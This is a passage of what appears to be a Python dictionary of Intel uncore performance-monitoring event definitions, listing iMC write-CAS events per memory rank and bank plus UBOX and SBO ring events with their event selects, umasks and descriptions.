"Umask": "b00001110",
},
"iMC.WR_CAS_RANK1.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.WR_CAS_RANK1.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.WR_CAS_RANK1.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.WR_CAS_RANK1.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.WR_CAS_RANK1.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.WR_CAS_RANK1.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.WR_CAS_RANK1.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.WR_CAS_RANK1.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.WR_CAS_RANK1.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.WR_CAS_RANK1.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.WR_CAS_RANK1.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.WR_CAS_RANK1.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.WR_CAS_RANK1.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.WR_CAS_RANK1.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.WR_CAS_RANK1.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.WR_CAS_RANK1.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.WR_CAS_RANK1.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.WR_CAS_RANK1.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 1",
"EvSel": 185,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.WR_CAS_RANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 2",
"EvSel": 186,
"ExtSel": "",
},
"iMC.WR_CAS_RANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 3",
"EvSel": 187,
"ExtSel": "",
},
"iMC.WR_CAS_RANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
},
"iMC.WR_CAS_RANK4.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.WR_CAS_RANK4.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.WR_CAS_RANK4.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.WR_CAS_RANK4.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.WR_CAS_RANK4.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.WR_CAS_RANK4.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.WR_CAS_RANK4.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.WR_CAS_RANK4.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.WR_CAS_RANK4.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.WR_CAS_RANK4.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.WR_CAS_RANK4.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.WR_CAS_RANK4.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.WR_CAS_RANK4.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.WR_CAS_RANK4.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.WR_CAS_RANK4.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.WR_CAS_RANK4.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.WR_CAS_RANK4.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.WR_CAS_RANK4.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.WR_CAS_RANK4.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.WR_CAS_RANK4.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.WR_CAS_RANK4.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 4",
"EvSel": 188,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.WR_CAS_RANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
},
"iMC.WR_CAS_RANK5.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.WR_CAS_RANK5.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.WR_CAS_RANK5.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.WR_CAS_RANK5.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.WR_CAS_RANK5.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.WR_CAS_RANK5.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.WR_CAS_RANK5.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.WR_CAS_RANK5.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.WR_CAS_RANK5.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.WR_CAS_RANK5.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.WR_CAS_RANK5.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.WR_CAS_RANK5.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.WR_CAS_RANK5.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.WR_CAS_RANK5.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.WR_CAS_RANK5.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.WR_CAS_RANK5.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.WR_CAS_RANK5.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.WR_CAS_RANK5.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.WR_CAS_RANK5.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.WR_CAS_RANK5.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.WR_CAS_RANK5.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 5",
"EvSel": 189,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.WR_CAS_RANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
},
"iMC.WR_CAS_RANK6.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.WR_CAS_RANK6.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.WR_CAS_RANK6.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.WR_CAS_RANK6.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.WR_CAS_RANK6.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.WR_CAS_RANK6.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.WR_CAS_RANK6.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.WR_CAS_RANK6.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.WR_CAS_RANK6.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.WR_CAS_RANK6.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.WR_CAS_RANK6.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.WR_CAS_RANK6.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00010001",
},
"iMC.WR_CAS_RANK6.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.WR_CAS_RANK6.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.WR_CAS_RANK6.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.WR_CAS_RANK6.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.WR_CAS_RANK6.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.WR_CAS_RANK6.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.WR_CAS_RANK6.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.WR_CAS_RANK6.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.WR_CAS_RANK6.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 6",
"EvSel": 190,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.WR_CAS_RANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
},
"iMC.WR_CAS_RANK7.BANK2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000010",
},
"iMC.WR_CAS_RANK7.BANK14": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001110",
},
"iMC.WR_CAS_RANK7.BANK0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000000",
},
"iMC.WR_CAS_RANK7.BANKG2": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00010011",
},
"iMC.WR_CAS_RANK7.BANK13": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001101",
},
"iMC.WR_CAS_RANK7.BANK5": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000101",
},
"iMC.WR_CAS_RANK7.ALLBANKS": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00010000",
},
"iMC.WR_CAS_RANK7.BANK15": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.WR_CAS_RANK7.BANKG3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00010100",
},
"iMC.WR_CAS_RANK7.BANK6": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000110",
},
"iMC.WR_CAS_RANK7.BANK7": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000111",
},
"iMC.WR_CAS_RANK7.BANK12": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.WR_CAS_RANK7.BANKG1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00010010",
},
"iMC.WR_CAS_RANK7.BANK11": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001011",
},
"iMC.WR_CAS_RANK7.BANK9": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001001",
},
"iMC.WR_CAS_RANK7.BANK8": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001000",
},
"iMC.WR_CAS_RANK7.BANK4": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000100",
},
"iMC.WR_CAS_RANK7.BANK3": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.WR_CAS_RANK7.BANK1": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00000001",
},
"iMC.WR_CAS_RANK7.BANK10": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00001010",
},
"iMC.WR_CAS_RANK7.BANKG0": {
"Box": "iMC",
"Category": "iMC CAS Events",
"Counters": "0-3",
"Desc": "WR_CAS Access to Rank 7",
"EvSel": 191,
"ExtSel": "",
"Umask": "b00010001",
},
# UBOX:
"UBOX.EVENT_MSG": {
"Box": "UBOX",
"Category": "UBOX EVENT_MSG Events",
"Counters": "0-1",
"Defn": "Virtual Logical Wire (legacy) message were received from Uncore. Specify the thread to filter on using NCUPMONCTRLGLCTR.ThreadID.",
"Desc": "VLW Received",
"EvSel": 66,
"ExtSel": "",
},
"UBOX.EVENT_MSG.DOORBELL_RCVD": {
"Box": "UBOX",
"Category": "UBOX EVENT_MSG Events",
"Counters": "0-1",
"Defn": "Virtual Logical Wire (legacy) message were received from Uncore. Specify the thread to filter on using NCUPMONCTRLGLCTR.ThreadID.",
"Desc": "VLW Received",
"EvSel": 66,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"UBOX.PHOLD_CYCLES": {
"Box": "UBOX",
"Category": "UBOX PHOLD Events",
"Counters": "0-1",
"Defn": "PHOLD cycles. Filter from source CoreID.",
"Desc": "Cycles PHOLD Assert to Ack",
"EvSel": 69,
"ExtSel": "",
},
"UBOX.PHOLD_CYCLES.ASSERT_TO_ACK": {
"Box": "UBOX",
"Category": "UBOX PHOLD Events",
"Counters": "0-1",
"Defn": "PHOLD cycles. Filter from source CoreID.",
"Desc": "Cycles PHOLD Assert to Ack",
"EvSel": 69,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"UBOX.RACU_REQUESTS": {
"Box": "UBOX",
"Category": "UBOX RACU Events",
"Counters": "0-1",
"Desc": "RACU Request",
"EvSel": 70,
"ExtSel": "",
"Notes": "This will be dropped because PHOLD is not implemented this way",
},
# SBO:
"SBO.BOUNCE_CONTROL": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Desc": "Bounce Control",
"EvSel": 10,
"ExtSel": "",
},
"SBO.CLOCKTICKS": {
"Box": "SBO",
"Category": "SBO UCLK Events",
"Counters": "0-3",
"Desc": "Uncore Clocks",
"EvSel": 0,
"ExtSel": "",
},
"SBO.FAST_ASSERTED": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles either the local or incoming distress signals are asserted. Incoming distress includes up, dn and across.",
"Desc": "FaST wire asserted",
"EvSel": 9,
"ExtSel": "",
},
"SBO.RING_AD_USED": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
},
"SBO.RING_AD_USED.DOWN_ODD": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxx1xxx",
},
"SBO.RING_AD_USED.UP_ODD": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxx1x",
},
"SBO.RING_AD_USED.DOWN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
